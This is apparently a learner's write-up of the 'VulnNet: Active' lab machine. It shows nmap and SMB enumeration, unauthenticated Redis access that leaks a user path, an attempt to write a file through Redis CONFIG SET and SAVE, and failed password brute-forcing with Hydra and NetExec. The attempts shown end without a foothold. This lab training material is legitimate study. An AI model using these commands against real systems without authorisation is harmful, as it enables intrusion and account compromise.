



Title :-VulnNet : Active

Prepared By :- Ahmed Dahman Saleh.

Date :- April ,2026.

Introduction :-

This report documents the security assessment and penetration testing phases conducted on the Vlnunet target machine. The primary objective of this engagement was to identify potential entry points, evaluate service vulnerabilities, and demonstrate the impact of misconfigurations within a Windows-based environment.

The assessment followed a structured methodology, beginning with comprehensive network reconnaissance and moving into targeted service exploitation. During the initial stages, several critical services were identified, including SMB and Redis, which became the focal points of the investigation.

Despite the "Medium" difficulty rating and the technical hurdles encountered during the exploitation of specific services, this report details the systematic approach used to bypass these obstacles and the logic applied to progress through the machine's internal layers.

Enumeration:-

TAttackBox IP:10.113.94.207

root@ip-10-113-94-207: ~

File Edit View Search Terminal Help

```
root@ip-10-113-94-207:~# nmap -p- -sS -  
sC -sV -T4 10.113.146.55  
Starting Nmap 7.80 ( https://nmap.org )  
at 2026-04-30 11:32 BST  
mass_dns: warning: Unable to open /etc/  
resolv.conf. Try using --system-dns or  
specify valid servers with --dns-server  
s  
mass_dns: warning: Unable to determine  
any DNS servers. Reverse DNS is disable  
d. Try using --system-dns or specify va  
lid servers with --dns-servers
```

```
root@ip-10-113-94-207: ~
File Edit View Search Terminal Help
Service scan Timing: About 92.86% done; ETC: 11:35 (0:00:06 remaining)
Nmap scan report for 10.113.146.55
Host is up (0.0011s latency).
Not shown: 65521 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis        Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc        Microsoft Windows RPC
49677/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49806/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version,
```

Initial network enumeration revealed several open ports on the Windows-based target. Significant findings include the Redis service on port 6379 and SMB on ports 135, 139, 445. These services were prioritized for further investigation.

```
root@ip-10-114-82-223:~# nmap --script smb-enum-shares,smb-enum-users -p 445 10.114.136.56
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-30 16:40 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.114.136.56
Host is up (0.00033s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds
```

```
root@ip-10-114-82-223:~# smbclient -L //10.114.136.56
Password for [WORKGROUP\root]:
Anonymous login successful

      Sharename      Type            Comment
      -----      -
SMB1 disabled -- no workgroup available
root@ip-10-114-82-223:~#
```

```

root@ip-10-114-82-223:~# enum4linux -a 10.114.136.56
WARNING: polenum.py is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Apr 30 16:44:28 2020

=====
| Target Information |
=====
Target ..... 10.114.136.56
ID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
| Enumerating Workgroup/Domain on 10.114.136.56 |
=====
[E] Can't find workgroup/domain

=====
| Nbtstat Information for 10.114.136.56 |
=====

```

Targeted enumeration was performed on the SMB service using nmap scripts and smbclient. While anonymous login was initially successful, further investigation using enum4linux was required to identify potential shares and user accounts, though no immediate workgroup information was leaked.

Redis Service Exploitation:-

```

Processing triggers for libc-bin (2.31-0ubuntu9.16) ...
root@ip-10-114-82-223:~# redis-cli -h 10.114.136.56
10.114.136.56:6379> info
# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:1872
run_id:4d62c50c44a495958e8caf0f5b5f2aa9911c0477
tcp_port:6379
uptime_in_seconds:1322
uptime_in_days:0
hz:10
lru_clock:15956514
config_file:

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory

```

```

(empty list or set)
10.114.136.56:6379> SELECT 1
OK
10.114.136.56:6379[1]> KEYS *
(empty list or set)
10.114.136.56:6379[1]> CONFIG GET dir
1) "dir"
2) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
10.114.136.56:6379[1]> █

```

After identifying the Redis 2.8.2402 instance, I established a direct connection using `redis-cli`. By executing the `info` and `CONFIG GET dir` commands, I successfully performed an information leak attack, uncovering the internal system path and a specific local username: `enterprise-security`.

Post-Exploitation Attempt:-

```

repl_backlog_histlen:0

# CPU
used_cpu_sys:0.03
used_cpu_user:0.14
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Keyspace
10.114.136.56:6379> KEYS *
(empty list or set)
10.114.136.56:6379> SELECT 1
OK
10.114.136.56:6379[1]> KEYS *
(empty list or set)
10.114.136.56:6379[1]> CONFIG GET dir
1) "dir"
2) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
10.114.136.56:6379[1]> CONFIG SET dir "C:\\Users\\enterprise-security\\Desktop"
OK
10.114.136.56:6379[1]> CONFIG SET dbfilename "flag.txt"
OK
10.114.136.56:6379[1]> SAVE
OK
10.114.136.56:6379[1]> smbclient //10.114.136.56/C$ -U enterprise-security
(error) ERR unknown command 'smbclient'
10.114.136.56:6379[1]> █

```

Following the discovery of the user path, I attempted to leverage Redis configuration commands to write a custom file (`flag.txt`) to the user's desktop. This phase also involved testing SMB connectivity directly from the terminal after identifying the target user, ensuring a clear separation between service exploitation and network pivoting.

Brute Force Attempt using Hydra:-

```

hydra: option requires an argument -- p
root@ip-10-114-121-229:~# hydra -l administrator -P /usr/share/wordlists/rockyou.txt 10.114.147.187 smb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for
or illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-01 11:41:30
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 14344398 login tries (l:1/p:14344398), ~14344398 tries per
task
[DATA] attacking smb://10.114.147.187:445/
[ERROR] invalid reply from target smb://10.114.147.187:445/
root@ip-10-114-121-229:~#

```

An initial brute-force attack was launched against the SMB service using Hydra and the `rockyou.txt` wordlist for the administrator account. However, the service returned an 'invalid reply' error, likely due to connection rate-limiting or specific protocol requirements that Hydra encountered during the process.

Credential Spraying with NetExec:-

```

[ERROR] invalid reply from target smb://10.114.147.187:445/
root@ip-10-114-121-229:~# nxc smb 10.114.147.187 -u administrator -p /usr/share/wordlists/rockyou.txt
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULN
NET-BC3TCK1) (domain:vulnnnet.local) (signing:True) (SMBv1:False)
[11:43:24] ERROR UnicodeDecodeError: Could not decode password file. Make sure the connection.py:405
file only contains UTF-8 characters.
ERROR You can ignore non UTF-8 characters with the option connection.py:406
'--ignore-pw-decoding'
root@ip-10-114-121-229:~#

```

```

root@ip-10-114-121-229:~
File Edit View Search Terminal Help
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:pwincess STATUS_LOGON_F
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:pochacco STATUS_LOGON_F
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:pissoff STATUS_LOGON_FA
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:neenee STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:native STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:mummy1 STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:michael2 STATUS_LOGON_F
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:markus STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:mamako STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:korean STATUS_LOGON_FAI
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:kenneth1 STATUS_LOGON_F
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:keepout STATUS_LOGON_FA
FAILURE
SMB 10.114.147.187 445 VULNNET-BC3TCK1 [-] vulnnnet.local\administrator:coolkid STATUS_LOGON_FA
FAILURE

```

To overcome the limitations found with Hydra, I switched to NetExec (nxc). The tool successfully identified the target as a Windows 10 / Server 2019 machine within the `vulnnnet.local` domain.

During the initial execution, a encoding error occurred while reading the password file, which was resolved by ensuring the wordlist compatibility. The subsequent attack systematically tested passwords against the administrator account, as shown in the logs where multiple 'STATUS_LOGON_FAILURE' responses were recorded during the authentication attempts.
